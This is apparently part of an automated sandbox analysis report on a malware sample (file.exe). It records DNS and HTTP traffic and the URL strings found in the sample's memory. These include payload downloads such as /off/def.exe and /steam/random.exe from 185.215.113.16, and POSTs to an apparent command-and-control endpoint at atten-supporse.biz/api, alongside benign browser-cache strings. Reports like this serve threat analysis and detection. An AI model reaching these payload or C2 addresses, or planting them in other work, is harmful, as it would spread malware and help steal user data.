HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: file.exe, 00000000.00000003.2420578040.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2420578040.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/f
Source: file.exe, 00000000.00000003.2421152066.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579497100.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2446364692.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2421152066.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579497100.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2446364692.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2421152066.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579497100.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeZ
Source: file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2239268803.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240546025.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238596385.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165412620.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240259411.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260395490.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420951911.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143331142.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420578040.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165324335.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_111.7.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2212238206.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_111.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_111.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: file.exe, 00000000.00000003.2238596385.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143403649.0000000000B32000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165324335.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2211817141.000000000534B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239268803.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240332812.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165412620.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165324335.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: file.exe, 00000000.00000003.2165324335.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/6
Source: file.exe, 00000000.00000003.2165324335.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260169372.0000000000BB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2446401500.0000000000BA3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260473159.0000000000BB6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2421284081.0000000000BA3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420578040.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: file.exe, 00000000.00000003.2237491903.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiY
Source: file.exe, 00000000.00000003.2260395490.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiate
Source: file.exe, 00000000.00000003.2237491903.0000000000B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apilit
Source: file.exe, 00000000.00000003.2211817141.000000000534B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/mv
Source: chromecache_111.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_111.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2213532412.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2260473159.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238596385.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420951911.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239268803.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240332812.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2446401500.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579823183.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420578040.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2264719548.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2213532412.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2260473159.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238596385.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420951911.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239268803.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240332812.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2446401500.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579823183.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420578040.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2264719548.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2260473159.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238596385.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420951911.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239268803.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240332812.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2446401500.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579823183.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213532412.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420578040.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2264719548.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_111.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_91.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2213228106.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2213228106.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_91.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2260473159.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238596385.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420951911.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239268803.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240332812.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2446401500.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579823183.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420578040.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2264719548.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_
Source: file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2167045203.000000000537D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167119582.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2213139320.0000000005367000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2213139320.0000000005367000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2213228106.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2213228106.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2213228106.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2213532412.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
